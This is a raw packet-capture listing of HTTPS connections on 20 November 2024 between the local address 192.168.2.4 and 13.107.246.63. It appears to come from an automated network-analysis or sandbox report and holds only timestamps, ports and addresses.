Nov 20, 2024 21:05:12.598803043 CET	49840	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:12.598824024 CET	443	49840	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.599678040 CET	443	49839	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.600153923 CET	49839	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:12.600169897 CET	443	49839	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.600579023 CET	49839	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:12.600584030 CET	443	49839	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.667186022 CET	443	49834	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.667254925 CET	443	49834	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.667422056 CET	49834	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:12.667936087 CET	49834	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:12.667937040 CET	49834	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:12.667958975 CET	443	49834	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.667968988 CET	443	49834	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.671717882 CET	49841	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:12.671746969 CET	443	49841	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.671817064 CET	49841	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:12.671967030 CET	49841	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:12.671981096 CET	443	49841	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.875407934 CET	443	49837	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.875498056 CET	443	49837	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.875586033 CET	49837	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:12.875734091 CET	49837	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:12.875750065 CET	443	49837	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.875787973 CET	49837	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:12.875793934 CET	443	49837	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.879003048 CET	49842	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:12.879035950 CET	443	49842	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.879102945 CET	49842	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:12.879242897 CET	49842	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:12.879261971 CET	443	49842	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.998146057 CET	443	49838	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.998313904 CET	443	49838	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.998435974 CET	49838	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:12.998577118 CET	49838	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:12.998596907 CET	443	49838	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.998706102 CET	49838	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:12.998714924 CET	443	49838	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:13.002039909 CET	49843	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:13.002085924 CET	443	49843	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:13.002161980 CET	49843	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:13.002331972 CET	49843	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:13.002346992 CET	443	49843	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:13.071264982 CET	443	49839	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:13.071470022 CET	443	49839	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:13.071568966 CET	49839	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:13.071654081 CET	49839	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:13.071654081 CET	49839	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:13.071666002 CET	443	49839	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:13.071675062 CET	443	49839	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:13.074774981 CET	49844	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:13.074790001 CET	443	49844	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:13.074875116 CET	49844	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:13.075054884 CET	49844	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:13.075067997 CET	443	49844	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:14.376008034 CET	443	49840	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:14.376599073 CET	49840	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:14.376621962 CET	443	49840	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:14.377223969 CET	49840	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:14.377229929 CET	443	49840	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:14.528227091 CET	443	49841	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:14.528964996 CET	49841	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:14.528987885 CET	443	49841	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:14.529742002 CET	49841	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:14.529748917 CET	443	49841	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:14.817059040 CET	443	49840	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:14.817136049 CET	443	49840	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:14.817209005 CET	49840	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:14.817461967 CET	49840	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:14.817478895 CET	443	49840	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:14.817488909 CET	49840	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:14.817495108 CET	443	49840	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:14.821119070 CET	49845	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:14.821151972 CET	443	49845	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:14.821296930 CET	49845	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:14.821496964 CET	49845	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:14.821510077 CET	443	49845	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:14.832035065 CET	443	49842	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:14.832515955 CET	49842	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:14.832525969 CET	443	49842	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:14.832978964 CET	49842	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:14.832983971 CET	443	49842	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:14.925287962 CET	443	49843	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:14.925949097 CET	49843	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:14.925972939 CET	443	49843	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:14.926532030 CET	49843	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:14.926537991 CET	443	49843	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:14.926728010 CET	443	49844	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:14.927050114 CET	49844	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:14.927071095 CET	443	49844	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:14.927536011 CET	49844	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:14.927541971 CET	443	49844	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:15.001744032 CET	443	49841	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:15.001904011 CET	443	49841	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:15.002022982 CET	49841	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:15.002126932 CET	49841	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:15.002146006 CET	443	49841	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:15.002178907 CET	49841	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:15.002185106 CET	443	49841	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:15.005798101 CET	49846	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:15.005829096 CET	443	49846	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:15.005906105 CET	49846	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:15.006246090 CET	49846	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:15.006257057 CET	443	49846	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:15.277004957 CET	443	49842	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:15.277089119 CET	443	49842	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:15.277163982 CET	49842	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:15.291166067 CET	49842	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:15.291174889 CET	443	49842	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:15.291187048 CET	49842	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:15.291192055 CET	443	49842	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:15.294699907 CET	49847	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:15.294737101 CET	443	49847	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:15.294805050 CET	49847	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:15.295299053 CET	49847	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:15.295316935 CET	443	49847	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:15.383650064 CET	443	49844	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:15.383821964 CET	443	49844	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:15.383882999 CET	49844	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:15.384052992 CET	49844	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:15.384068966 CET	443	49844	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:15.384079933 CET	49844	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:15.384084940 CET	443	49844	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:15.386919975 CET	49848	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:15.386961937 CET	443	49848	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:15.387034893 CET	49848	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:15.387197018 CET	49848	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:15.387211084 CET	443	49848	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:15.393528938 CET	443	49843	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:15.393588066 CET	443	49843	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:15.393646002 CET	49843	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:15.393851042 CET	49843	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:15.393851042 CET	49843	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:15.393872976 CET	443	49843	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:15.393883944 CET	443	49843	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:15.396650076 CET	49849	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:15.396681070 CET	443	49849	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:15.396755934 CET	49849	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:15.396927118 CET	49849	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:15.396943092 CET	443	49849	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:16.724605083 CET	443	49845	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:16.725275040 CET	49845	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:16.725294113 CET	443	49845	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:16.725892067 CET	49845	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:16.725897074 CET	443	49845	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:16.847542048 CET	443	49846	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:16.848537922 CET	49846	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:16.848552942 CET	443	49846	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:16.849040985 CET	49846	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:16.849044085 CET	443	49846	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.116369963 CET	443	49847	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.116939068 CET	49847	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.116951942 CET	443	49847	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.117311954 CET	49847	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.117321014 CET	443	49847	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.223433018 CET	443	49845	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.223517895 CET	443	49845	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.223602057 CET	49845	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.225574017 CET	49845	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.225603104 CET	443	49845	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.225615025 CET	49845	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.225625038 CET	443	49845	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.229783058 CET	49850	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.229819059 CET	443	49850	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.229875088 CET	49850	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.232634068 CET	49850	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.232647896 CET	443	49850	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.310806990 CET	443	49846	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.310956955 CET	443	49846	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.311027050 CET	49846	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.311263084 CET	49846	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.311276913 CET	443	49846	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.311285973 CET	49846	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.311290979 CET	443	49846	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.313779116 CET	49851	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.313818932 CET	443	49851	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.313894987 CET	49851	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.314039946 CET	49851	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.314050913 CET	443	49851	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.349626064 CET	443	49848	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.350213051 CET	49848	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.350229025 CET	443	49848	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.350686073 CET	49848	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.350692987 CET	443	49848	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.393173933 CET	443	49849	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.393822908 CET	49849	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.393837929 CET	443	49849	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.394248009 CET	49849	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.394259930 CET	443	49849	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.591126919 CET	443	49847	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.591212988 CET	443	49847	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.591296911 CET	49847	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.591532946 CET	49847	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.591548920 CET	443	49847	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.591622114 CET	49847	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.591629028 CET	443	49847	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.594121933 CET	49852	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.594151020 CET	443	49852	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.594221115 CET	49852	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.594353914 CET	49852	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.594363928 CET	443	49852	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.833357096 CET	443	49848	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.833525896 CET	443	49848	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.833604097 CET	49848	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.833673000 CET	49848	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.833692074 CET	443	49848	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.833708048 CET	49848	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.833714962 CET	443	49848	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.836287022 CET	49853	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.836361885 CET	443	49853	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.836469889 CET	49853	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.836605072 CET	49853	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.836621046 CET	443	49853	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.859555960 CET	443	49849	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.859639883 CET	443	49849	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.859700918 CET	49849	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.859853983 CET	49849	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.859874010 CET	443	49849	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.859889030 CET	49849	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.859896898 CET	443	49849	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.862823009 CET	49854	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.862864971 CET	443	49854	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:17.862950087 CET	49854	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.863105059 CET	49854	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:17.863132000 CET	443	49854	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.062902927 CET	443	49850	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.063333988 CET	49850	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:19.063365936 CET	443	49850	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.063785076 CET	49850	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:19.063791037 CET	443	49850	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.143572092 CET	443	49851	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.144306898 CET	49851	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:19.144340038 CET	443	49851	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.144745111 CET	49851	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:19.144751072 CET	443	49851	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.516062021 CET	443	49852	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.516663074 CET	49852	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:19.516688108 CET	443	49852	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.517191887 CET	49852	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:19.517203093 CET	443	49852	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.527347088 CET	443	49850	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.527542114 CET	443	49850	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.527674913 CET	49850	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:19.527713060 CET	49850	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:19.527733088 CET	443	49850	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.527755022 CET	49850	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:19.527761936 CET	443	49850	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.530559063 CET	49855	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:19.530620098 CET	443	49855	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.530714035 CET	49855	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:19.530941963 CET	49855	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:19.530975103 CET	443	49855	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.592298985 CET	443	49851	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.592473030 CET	443	49851	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.592551947 CET	49851	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:19.592801094 CET	49851	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:19.592816114 CET	443	49851	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.592843056 CET	49851	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:19.592849970 CET	443	49851	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.596236944 CET	49856	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:19.596268892 CET	443	49856	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.596349001 CET	49856	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:19.596667051 CET	49856	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:19.596692085 CET	443	49856	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.611241102 CET	443	49853	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.611613035 CET	49853	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:19.611623049 CET	443	49853	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.613467932 CET	49853	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:19.613473892 CET	443	49853	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.740828991 CET	443	49854	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.741350889 CET	49854	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:19.741391897 CET	443	49854	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.741822004 CET	49854	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:19.741833925 CET	443	49854	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.972707987 CET	443	49852	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.972794056 CET	443	49852	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.972882032 CET	49852	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:19.973505974 CET	49852	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:19.973526001 CET	443	49852	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.973556042 CET	49852	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:19.973570108 CET	443	49852	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.977458954 CET	49857	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:19.977502108 CET	443	49857	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:19.977615118 CET	49857	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:19.977724075 CET	49857	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:19.977741003 CET	443	49857	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:20.047008991 CET	443	49853	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:20.047158003 CET	443	49853	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:20.047241926 CET	49853	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:20.047422886 CET	49853	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:20.047444105 CET	443	49853	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:20.047492981 CET	49853	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:20.047506094 CET	443	49853	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:20.051129103 CET	49858	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:20.051173925 CET	443	49858	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:20.051266909 CET	49858	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:20.051495075 CET	49858	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:20.051508904 CET	443	49858	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:20.201469898 CET	443	49854	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:20.201612949 CET	443	49854	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:20.201705933 CET	49854	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:20.201853037 CET	49854	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:20.201873064 CET	443	49854	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:20.201901913 CET	49854	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:20.201915026 CET	443	49854	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:20.204920053 CET	49859	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:20.204952002 CET	443	49859	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:20.205051899 CET	49859	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:20.205221891 CET	49859	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:20.205244064 CET	443	49859	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:21.339633942 CET	443	49855	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:21.340243101 CET	49855	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:21.340270996 CET	443	49855	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:21.340889931 CET	49855	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:21.340898037 CET	443	49855	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:21.638597012 CET	443	49856	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:21.639273882 CET	49856	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:21.639317989 CET	443	49856	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:21.639695883 CET	49856	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:21.639703035 CET	443	49856	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:21.793703079 CET	443	49857	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:21.794426918 CET	49857	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:21.794507980 CET	443	49857	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:21.794843912 CET	49857	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:21.794861078 CET	443	49857	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:21.817794085 CET	443	49855	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:21.817944050 CET	443	49855	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:21.818125010 CET	49855	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:21.818208933 CET	49855	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:21.818208933 CET	49855	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:21.818255901 CET	443	49855	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:21.818285942 CET	443	49855	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:21.821350098 CET	49860	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:21.821368933 CET	443	49860	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:21.821461916 CET	49860	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:21.821611881 CET	49860	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:21.821623087 CET	443	49860	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:21.846894026 CET	443	49858	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:21.847583055 CET	49858	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:21.847631931 CET	443	49858	13.107.246.63	192.168.2.4
